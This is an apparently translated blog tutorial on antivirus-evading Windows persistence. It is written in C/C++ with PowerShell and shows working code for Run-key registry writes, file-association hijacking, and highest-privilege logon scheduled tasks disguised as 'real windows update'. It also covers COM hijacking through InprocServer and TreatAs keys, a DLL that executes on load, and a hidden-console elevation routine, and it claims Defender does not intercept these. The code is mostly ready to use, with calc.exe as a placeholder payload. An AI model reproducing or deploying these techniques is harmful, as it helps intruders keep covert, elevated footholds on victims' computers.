Guide to anti-anti-virus in C language for self-starting

0 19
PrefaceIn practical applications, the commonly used methods for persistence are...

Preface

In practical applications, the commonly used methods for persistence are adding services, modifying the registry, adding scheduled tasks, and hijacking, etc. Here, we explore the self-starting anti-anti-virus techniques under C/C++.

Registry

User level

Guide to anti-anti-virus in C language for self-starting
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

System level (requires administrator privileges)

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

Detailed code

#include<stdio.h>
#include<windows.h>
int main(void)
{
	HKEY hKey;
	DWORD result;
	// Open the registry
	DWORD lRet = RegOpenKeyExA(
		HKEY_CURRENT_USER,
		"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
		0,
		KEY_SET_VALUE,
		&hKey;
	);
	if (lRet != ERROR_SUCCESS)
		return 0;
	char szModule[MAX_PATH];
	GetModuleFileNameA(NULL, szModule, MAX_PATH);
	lRet = RegSetValueExA(
		hKey,
		"coleak",
		0,
		REG_SZ,
		(BYTE*)szModule,
		strlen(szModule)
	);
	if (lRet == ERROR_SUCCESS)
		printf("success\n");
	else
	{
		printf("failed");
	}
	RegCloseKey(hKey);
	return 0;
}

If administrator privileges are obtained, suffix hijacking can also be used to maintain it

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char szModule[MAX_PATH];
    GetModuleFileNameA(NULL, szModule, MAX_PATH); // The program to be replaced, without writing %1, the file path of the double-clicked file will not be passed to the exe

    // Open the registry
    result = RegOpenKeyExA(
        HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // Registry item name to open
        0,              // Reserved parameter must be filled with 0
        KEY_SET_VALUE,  // Open permission, write
        &hKey           // Handle after opening
    );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // Set the registry value
    result = RegSetValueExA(
        hKey,
        "",                // Set default value
        0,                 // Reserved parameter must be filled with 0
        REG_SZ,            // Key value type is string
        (const unsigned char*)szModule, // String starting address
        sizeof(szModule)       // String length
    );

    if (result == ERROR_SUCCESS)
    {
        printf("set success!n");
    }
    else
    {
        printf("set failed!n");
        showErrorText(result);
    }

    // Close the registry:
    RegCloseKey(hKey);
    // Pause
    system("pause");
    return 0;
}

/*
 * Output error information based on error code
 */
void showErrorText(DWORD error_num)
{
    char* msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Use default language
        (LPSTR)&msg,
        0,
        NULL
    );

    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

This test shows that both firewal and Microsoft's defender do not intercept

Scheduled Tasks

  • TriggersTriggers: Define when the task should be executed. This could be a one-time event, scheduled, or in response to a specific event.

  • ActionsActions: Define the specific operations to be executed by the task. This may include starting an application, sending an email, displaying a message, etc.

  • ConditionsConditions: Define the conditions for task execution. For example, you can configure the task to run only when the computer is idle or only under specific power conditions.

  • SettingsSettings: Define other task settings, such as the number of retries when the task fails, the maximum running time of the task, etc.

#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")

ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;


//Initialize COM component
void Init() {
	//1. CoInitialize initializes the COM component
	HRESULT hr = CoInitialize(NULL);
	if (FAILED(hr)) {
		MessageBox(NULL, L"Failed to initialize COM component", L"Failed", MB_OK);
	}

	//2. CoCreateInstance creates the task service object
	hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);
	if (FAILED(hr)) {
		MessageBox(NULL, L"Failed to create task service", L"Failed", MB_OK);
	}
	//3. Connect to the task service
	hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
	if (FAILED(hr)) {
		MessageBox(NULL, L"Connection to service failed", L"Failed", MB_OK);
	}
	//4. Obtain the pointer object ITaskFolder for the root task Root Task Folder from the ITaskService object, which points to the newly registered task
	hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
	if (FAILED(hr)) {
		MessageBox(NULL, L"Failed to get pointer", L"Failed", MB_OK);

	}
}

// Unload COM component
void UnInit() {
	if (m_lpITS)
	{
		m_lpITS->Release();
	}
	if (m_lpRootFolder)
	{
		m_lpRootFolder->Release();
	}
	CoUninitialize();
}

// Create scheduled task
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {
	// Create a task definition object to create a task
	
	// If the same task exists, remove it.
	m_lpRootFolder->DeleteTask((BSTR)lpszTaskName, 0);

	ITaskDefinition* pTaskDefinition = NULL;
	HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
	if (FAILED(hr))
	{
		return FALSE;
	}

	/* Set registration information */
	IRegistrationInfo* pRegInfo = NULL;
	hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// Set author information
	hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));
	pRegInfo->Release();

	/* Set login type and run permissions */
	IPrincipal* pPrincipal = NULL;
	hr = pTaskDefinition->get_Principal(&pPrincipal);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// Set login type
	hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
	// Set execution permission
	// Highest permission
	hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
	pPrincipal->Release();

	/* Set other information */
	ITaskSettings* pSettting = NULL;
	hr = pTaskDefinition->get_Settings(&pSettting);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// Set other information
	hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);
	hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
	hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);
	hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);
	hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);
	pSettting->Release();

	/* Create execution action */
	IActionCollection* pActionCollect = NULL;
	hr = pTaskDefinition->get_Actions(&pActionCollect);
	if (FAILED(hr))
	{
		return FALSE;
	}
	IAction* pAction = NULL;
	// Create execution action
	hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
	pActionCollect->Release();

	/* Set the execution program path and parameters */
	CComVariant variantProgramPath(NULL);
	CComVariant variantParameters(NULL);
	IExecAction* pExecAction = NULL;
	hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));
	if (FAILED(hr))
	{
		pAction->Release();
		return FALSE;
	}
	pAction->Release();
	// Set program path and parameters
	variantProgramPath = lpszProgramPath;
	variantParameters = lpszParameters;
	pExecAction->put_Path(variantProgramPath.bstrVal);
	pExecAction->put_Arguments(variantParameters.bstrVal);
	pExecAction->Release();

	/* Create trigger, implement user login to start automatically */
	ITriggerCollection* pTriggers = NULL;
	hr = pTaskDefinition->get_Triggers(&pTriggers);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// Create trigger, set the trigger to
	ITrigger* pTrigger = NULL;
	hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
	if (FAILED(hr))
	{
		return FALSE;
	}

	/* Register task schedule */
	IRegisteredTask* pRegisteredTask = NULL;
	CComVariant variantTaskName(NULL);
	variantTaskName = lpszTaskName;
	hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
		pTaskDefinition,
		TASK_CREATE_OR_UPDATE,
		_variant_t(),
		_variant_t(),
		TASK_LOGON_INTERACTIVE_TOKEN,
		_variant_t(""),
		&pRegisteredTask);
	if (FAILED(hr))
	{
		pTaskDefinition->Release();
		return FALSE;
	}
	pTaskDefinition->Release();
	pRegisteredTask->Release();
	return TRUE;
}


// Delete scheduled task
BOOL DeleteTask(char* lpszTaskName)
{
	if (NULL == m_lpRootFolder)
	{
		return FALSE;
	}
	CComVariant variantTaskName(NULL);
	variantTaskName = lpszTaskName;
	HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
	if (FAILED(hr))
	{
		return FALSE;
	}

	return TRUE;
}
int main()
{
	const char* lpszTaskName = "real windows update";   //Task name
	const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe";  //Path to the program to be executed
	const char* lpszParameters = "whoami";     //Program parameters
	const char* lpszAuthor = "coleak";

	Init();
	BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);
	if (!bRet) {
		printf("Create Task Failed");
		return -1;
	}
	UnInit();
	printf("Successd");

	return 0;
}

As shown in the figure, the scheduled task runs with the highest privileges, but the program itself needs administrative privileges to add successfully

image-20240424203112848.png

COM hijacking

Common methods include

  • Modify the existing InprocServer to point to the dll we generated

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
  • Set up a scheduled task to call a malicious COM registered by itself using powershell or vbs script

You can combine the registry writing and scheduled tasks mentioned above to put vbs into the startup to pull up the com function

  • Hijack existing tasks

The scheduled tasks that are called with Action as Comhandler are all system-built COM, and their modification permissions in the registry are trustedinstaller, while other users only have read permissions. (Owner modification required for 3389)

  • TreatAS key hijacking

The key point is to find nodes that can be modified without permission, and nodes are newly created under HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID or HKCU\Software\Classes\CLSID without high privileges

# Definition
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
# Create a malicious CLSID node {C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
# Point the key value to the path of the malicious file and set the DLL threading model
New-Item -ItemType String "$HKLM\$CLSID\InprocServer" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer" -Name "ThreadingModel" -Value "Both"
# Create a TreatAs key under the CLSID node in the Home Network Configuration Manager and set the default value to the malicious CLSID node
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
# Call test
rundll32.exe -sta $HijackCLSID
# Restore environment, delete the TreatAs key and malicious CLSID node
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

Test

1. Try to write to the registry to unregister COM directly

# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{
	HKEY hKey = NULL;
	char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";
	DWORD dwOptions = REG_OPTION_NON_VOLATILE;
	DWORD dwDisposition;
	long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,
		dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);
	char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";
	DWORD lRet = RegSetValueExA(
		hKey,
		"InprocServer",
		0,
		REG_SZ,
		(BYTE*)szModule,
		strlen(szModule)
	);
	if (lRet == ERROR_SUCCESS)
		printf("success\n");
	else
	{
		printf("failed");
	}
	RegCloseKey(hKey);
	return 0;
}

An error will be reported when calling: 80040154 Class not registered (registration requires administrator privileges), and adding a scheduled task also requires administrator privileges, which is very unsafe and not recommended to do so

2. Enumerate the scheduled tasks available for COM hijacking, and then hijack them in advance through user registry or through TreatAS hijacking

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations

The dll to be tested must follow the mutual exclusion rule

BOOL TestMutex()
{
	HANDLE hMutex = CreateMutex(NULL, false, "myself");  
	if (GetLastError() == ERROR_ALREADY_EXISTS)
	{
		CloseHandle(hMutex);
		return 0;  
	}
	return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			if(TestMutex()==0)
				return TRUE;
			WinExec("calc.exe", SW_SHOWNORMAL);
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }return TRUE;
}

Postscript

Registry functionality

NameFunction
HKEY_CLASSES_ROOTUsed to store some document types, classes, and associated properties of classes.
HKEY_CURRENT_CONFIGThe user stores information about the current hardware configuration profile of the local computer system.
HKEY_CURRENT_USERUsed to store the current user's configuration items.
HKEY_LOCAL_MACHINEUsed to store the physical state of the current user.
HKEY_USERSUsed to store the default configuration items for new users.

CLSID

CLSID is a concept proposed by Microsoft, translated into Chinese as: Global Unique Identifier. CLSID refers to the unique ID code assigned by the Windows system to different applications, file types, OLE objects, special folders, and various system components, used for identifying its identity and distinguishing it from other objects.

Common CLSID:

{20D04FE0-3AEA-1069-A2D8-08002B30309D} My Computer
{450D8FBA-AD25-11D0-98A8-0800361B1103} My Documents
{645FF040-5081-101B-9F08-00AA002F954E} Recycle Bin

CLSID structure:

typedef struct _GUID {
	DWORD Data1; // Random number
	WORD Data2; // Related to time
	WORD Data3; // Related to time
	BYTE Data4[8]; // Related to network MAC
	} GUID;
	typedef GUID CLSID;  // Component ID
	typedef GUID IID;    // Interface ID

CLSID in the registry

CLSID Key:

Key NameDescription
LocalServerSpecify the custom handler used by the application, i.e., exe path
InprocServer/InprocHandlerModule, thread attribute configuration, i.e., dll path

COM component search order

  • 1.HKCU\Software\Classes\CLSID

  • 2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID

  • 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

Theoretically feasible 3 hijacking schemes:

  • There is in HKCR but not in HKCU, only need to register in HKCU to hijack the COM service in HKCR.

  • ModifyLocalServerorInprocServerThe key value.

  • ReplaceLocalServerorInprocServerThe file in the key value.

Register the COM written by the call

regsvr.exe -i ATLProject1.dll #This is registration
regsvr.exe /u ATLProject1.dll #This is uninstallation
  • vbs

set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
  • powershell

[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
  • cmd

rundll32.exe -sta {CLSID}

Request administrator

VOID ManagerRun(LPCSTR exe, LPCSTR param)
{
    SHELLEXECUTEINFOA ShExecInfo;
    ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
    ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
    ShExecInfo.hwnd = NULL;
    ShExecInfo.lpVerb = "runas";
    ShExecInfo.lpFile = exe;
    ShExecInfo.lpParameters = param;
    ShExecInfo.lpDirectory = NULL;
    ShExecInfo.nShow = SW_SHOW;
    ShExecInfo.hInstApp = NULL;
    BOOL ret = ShellExecuteExA(&ShExecInfo);
    //Terminate the current thread
    CloseHandle(ShExecInfo.hProcess);
    return;
}

int main(int argc, char* argv[]) {
    if (argc == 1) // Run for the first time, that is, double-clicking the EXE
    {
        ShowWindow(GetConsoleWindow(), SW_HIDE);
        ManagerRun(argv[0], "2");
        return 1;
    }
    else if (argc == 2) // Run again, that is, the above ManagerRun
    {
		function();
        /*Your main program code is here*/

    }

    return 0;
}

reference

https://ruyueattention.github.io/2021/12/26/COM-attack/
https://bu1.github.io/2021/11/27/COM-component-attack-learning%EF%BC%9AFrom-Initial-Understanding-to-Simple-Use/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/Horse%2C-you-are-good%21%EF%BC%88Eight%EF%BC%89-registration-table-operations/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/Using-COM-components-to-create-planning-tasks/
你可能想看:
最后修改时间:
admin
上一篇 2025年03月29日 10:52
下一篇 2025年03月29日 11:14

评论已关闭